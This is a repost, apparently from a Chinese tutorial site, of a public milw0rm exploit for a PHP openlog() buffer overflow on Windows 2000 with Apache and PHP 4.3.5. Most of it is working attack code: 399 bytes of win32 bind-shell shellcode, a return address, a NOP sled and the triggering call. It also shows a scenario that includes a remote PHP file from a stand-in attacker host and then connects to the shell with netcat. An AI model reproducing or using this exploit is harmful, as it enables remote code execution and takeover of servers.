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  • PHP openlog() Buffer Overflow源码精华教程

    教程作者:佚名    教程来源:不详   教程栏目:源码精华    收藏本页
    来源: /jishu513556http://www.milw0rm.com/'>http://www.milw0rm.com/

    <?
    #######################################################################
    ############################# PUBLIC EXPLOIT #########################
    #######################################################################

    ## PHP v4.3.x exploit by The Warlock [BhQ], /jishu513556http://go.to/biohazardhq'>http://go.to/biohazardhq ##
    ################### mail:biohazardhq@yahoo.com ##################
    ######################################################################
    ############################ PUBLIC EXPLOIT ##########################
    #######################################################################
    /* This "Proof of Concept" sploit is only for Win2k SP4 + PHP 4.3.5 on Apache
    2.0.49*

    Sploit tested with Apache 2.0.49 + PHP 4.3.5 on a Win2K SP4.
    bugtraq says local exploit.
    This bug is reported a long long time ago for v4.3.1
    bugs.php.net does not have any status that refers to this bug while
    reported.
    The bug is still alive in v4.3.5 and probably newer versions as well,
    CHANGELOG of versions to 4.3.7 does not mention the bugfix of openlog();

    scenario :
    --->
    http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt'>http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt
    BOOM....
    netcat www.vulnerable.box 65535
    Microsoft Windows 2000 [versie 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.

    C:\Program Files\Apache Group\Apache2>
    --->

    Getting a shell is better then parsing commands to the weblog.

    mattmurphy@kc.rr.com wrote on bugtraq :
    >* Buffer overflow in openlog()
    >
    >I've tried passing long parameters (and large integers) to openlog(). No
    >crashes could be caused by this "exploit". I was unable to demonstrate any
    >disruption to PHP via this "vulnerability", let alone complete control.
    >Unless the vendor or the original reporter will confirm this with code
    >(which was, oddly enough, MISSING from the original advisory), I don't
    >believe this "flaw" (if it exists) can do any damage to a default
    >production system.
    */

    #######################################################################
    ########################### PUBLIC EXPLOIT ###########################
    #######################################################################

    // win32 shellcode: bind TCP/65535, size 399, By The Warlock [BhQ].
    $gift = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x02\x03";
    $gift .= "\x02\x02\x83\xeb\xfc\xe2\xf4\xea\x55\x02\x02\x02\x50\x57\x54\x55";
    $gift .= "\x88\x6e\x26\x1a\x88\x47\x3e\x89\x57\x07\x7a\x03\xe9\x89\x48\x1a";
    $gift .= "\x88\x58\x22\x03\xe8\xe1\x30\x4b\x88\x36\x89\x03\xed\x33\xfd\xfe";
    $gift .= "\x32\xc2\xae\x3a\xe3\x76\x05\xc3\xcc\x0f\x03\xc5\xe8\xf0\x39\x7e";
    $gift .= "\x27\x16\x77\xe3\x88\x58\x26\x03\xe8\x64\x89\x0e\x48\x89\x58\x1e";
    $gift .= "\x02\xe9\x89\x06\x88\x03\xea\xe9\x01\x33\xc2\x5d\x5d\x5f\x59\xc0";
    $gift .= "\x0b\x02\x5c\x68\x33\x5b\x66\x89\x1a\x89\x59\x0e\x88\x59\x1e\x89";
    $gift .= "\x18\x89\x59\x0a\x50\x6a\x8c\x4c\x0d\xee\xfd\xd4\x8a\xc5\x83\xee";
    $gift .= "\x03\x03\x02\x02\x54\x54\x51\x8b\xe6\xea\x25\x02\x03\x02\x92\x03";
    $gift .= "\x03\x02\xb4\x1b\x1b\xe5\xa6\x1b\x73\xeb\xe7\x4b\x85\x4b\xa6\x18";
    $gift .= "\x73\xc5\xa6\xaf\x2d\xeb\xdb\x0b\xf6\xaf\xc9\xef\xff\x39\x55\x51";
    $gift .= "\x31\x5d\x31\x30\x03\x59\x8f\x49\x23\x53\xfd\xd5\x8a\xdd\x8b\xc1";
    $gift .= "\x8e\x77\x16\x68\x04\x5b\x53\x51\xfc\x36\x8d\xfd\x56\x06\x5b\x8b";
    $gift .= "\x07\x8c\xe0\xf0\x28\x25\x56\xfd\x34\xfd\x57\x32\x32\xc2\x52\x52";
    $gift .= "\x53\x52\x42\x52\x43\x52\xfd\x57\x2f\x8b\xc5\x33\xd8\x51\x51\x6a";
    $gift .= "\x01\x02\xfd\xfd\x8a\xe2\x68\x12\x53\x55\xfd\x57\x27\x51\x55\xfd";
    $gift .= "\x56\x2a\x51\x56\x54\xfd\x57\x22\x8a\xc5\x6a\x41\x4e\x46\x02\x8b";
    $gift .= "\xe0\x85\xf8\x33\xc3\x8f\x7e\x26\xaf\x68\x17\x5b\xf0\xa9\x85\xf8";
    $gift .= "\x80\xee\x56\xc4\x47\x26\x12\x46\x65\xc5\x46\x26\x3f\x03\x03\x8b";
    $gift .= "\x7f\x26\x4a\x8b\x7f\x26\x4e\x8b\x7f\x26\x52\x8f\x47\x26\x12\x56";
    $gift .= "\x53\x53\x53\x53\x42\x53\x4b\x53\x52\x51\x53\xfd\x76\x02\x6a\x70";
    $gift .= "\xfd\xb1\x14\xfd\x56\x06\xfd\xd2\x8a\xe4\xfd\x77\x03\x6a\xaf\xdb";
    $gift .= "\x06\xcc\xfd\x57\x07\x8b\xc1\x68\xfc\xfd\x34\xfd\xd0\xfd\x77\x02";
    $gift .= "\x6b\x7c\xda\xe0\x70\xfd\x57\x06\x32\xd9\x51\xfd\xd3\x02\x02";


    $ret = "\xb8\x9e\xe3\x77";
    $nop =str_repeat("\x90", 1024);
    $boomstring = $nop . $ret . $nop . $gift;
    openlog($boomstring, LOG_PID, LOG_DAEMON);
    // uncomment openlog(); to enable exploit... - str0ke did it already for ya.
    ?>
    //milw0rm.com

    (出处:

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